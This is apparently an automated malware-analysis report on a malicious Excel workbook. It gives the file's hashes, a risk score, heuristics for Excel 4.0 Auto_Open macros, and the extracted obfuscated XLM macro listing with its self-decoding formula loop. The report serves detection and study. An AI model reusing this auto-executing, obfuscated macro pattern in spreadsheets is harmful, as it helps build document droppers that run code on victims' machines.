Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 de7fb4fc5751c3af…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:39:24 Authoring application: Microsoft Excel First seen: 2021-01-15
MD5: 5748cd2f8b0068a32328278a4bb46f5d SHA-1: 53be19d25406a7ca6d3a7f84fdbd7124895cf915 SHA-256: de7fb4fc5751c3af26770c909823e589d7c3cb4b43c9f5dccf64be39986ddcca
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6534 bytes
SHA-256: e9b634c6b700879a0083ecbc30be042d27e33ab70c11237b311e907dac3178a2
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  LtVBizjt
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D155 
' 0018     20 LABEL : Cell Value, String Constant - bMbOh len=0 
' 0018     21 LABEL : Cell Value, String Constant - eyWjRa len=0 
' 0018     22 LABEL : Cell Value, String Constant - GlbMINp len=0 
' 0018     26 LABEL : Cell Value, String Constant - hKdEDUUQQGi len=0 
' 0018     25 LABEL : Cell Value, String Constant - JaKuXBlZoC len=0 
' 0018     24 LABEL : Cell Value, String Constant - kuLTbWbaR len=0 
' 0018     27 LABEL : Cell Value, String Constant - MnmbYmvLxvBl len=0 
' 0018     21 LABEL : Cell Value, String Constant - oTNMXh len=0 
' 0018     21 LABEL : Cell Value, String Constant - qkMRAk len=0 
' 0018     21 LABEL : Cell Value, String Constant - QPBIfI len=0 
' 0018     27 LABEL : Cell Value, String Constant - RAuvsuGUtcTy len=0 
' 0018     27 LABEL : Cell Value, String Constant - rHGxMWfXWaZV len=0 
' 0018     20 LABEL : Cell Value, String Constant - rkVFn len=0 
' 0018     23 LABEL : Cell Value, String Constant - rwjkNbuC len=0 
' 0018     26 LABEL : Cell Value, String Constant - SUKsPuNtSvN len=0 
' 0018     23 LABEL : Cell Value, String Constant - UhewgDQd len=0 
' 0018     21 LABEL : Cell Value, String Constant - uoeKDA len=0 
' 0018     25 LABEL : Cell Value, String Constant - VepJGQkxUb len=0 
' 0018     24 LABEL : Cell Value, String Constant - ZEnLdeggD len=0 
' 0018     23 LABEL : Cell Value, String Constant - zOZQDlzD len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  LtVBizjt,D70,"SET.NAME("QPBIfI",VALUE("0"))",""
'  LtVBizjt,D75,"SET.NAME("ZEnLdeggD",QPBIfI)",""
'  LtVBizjt,D78,"SET.NAME("JaKuXBlZoC",QPBIfI)",""
'  LtVBizjt,D81,"SET.NAME("VepJGQkxUb",COUNTA(MnmbYmvLxvBl))",""
'  LtVBizjt,D84,"SET.NAME("SUKsPuNtSvN",COUNTA(oTNMXh))",""
'  LtVBizjt,D87,[],""
'  LtVBizjt,D89,"SET.NAME("hKdEDUUQQGi","")",""
'  LtVBizjt,D94,"ZEnLdeggD",""
'  LtVBizjt,D98,"SET.NAME("qkMRAk",HLOOKUP("*",MnmbYmvLxvBl,ZEnLdeggD,FALSE))",""
'  LtVBizjt,D102,"uoeKDA",""
'  LtVBizjt,D105,"SET.NAME("rkVFn",QPBIfI)",""
'  LtVBizjt,D108,[],""
'  LtVBizjt,D111,"rkVFn",""
'  LtVBizjt,D116,"rwjkNbuC",""
'  LtVBizjt,D120,"zOZQDlzD",""
'  LtVBizjt,D122,"eyWjRa",""
'  LtVBizjt,D124,"SET.NAME("bMbOh",VALUE(HLOOKUP("*",oTNMXh,eyWjRa,FALSE)))",""
'  LtVBizjt,D127,"rHGxMWfXWaZV",""
'  LtVBizjt,D131,"hKdEDUUQQGi",""
'  LtVBizjt,D134,"JaKuXBlZoC",""
'  LtVBizjt,D138,NEXT(),""
'  LtVBizjt,D141,"GlbMINp",""
'  LtVBizjt,D143,"SET.NAME("f",INT(T(FORMULA(T(hKdEDUUQQGi)&"",""&T(GlbMINp)))))",""
'  LtVBizjt,D145,"RAuvsuGUtcTy",""
'  LtVBizjt,D148,NEXT(),""
'  LtVBizjt,D152,RETURN(),""
'  LtVBizjt,D175,"SET.NAME("UhewgDQd",D70)",""
'  LtVBizjt,D179,"MnmbYmvLxvBl",""
'  LtVBizjt,D184,"SET.NAME("oTNMXh",R71C12)",""
'  LtVBizjt,D189,"SET.NAME("RAuvsuGUtcTy",197)",""
'  LtVBizjt,D193,"SET.NAME("kuLTbWbaR",4)",""
'  LtVBizjt,D196,UhewgDQd(),""
'  LtVBizjt,D197,HALT(),""

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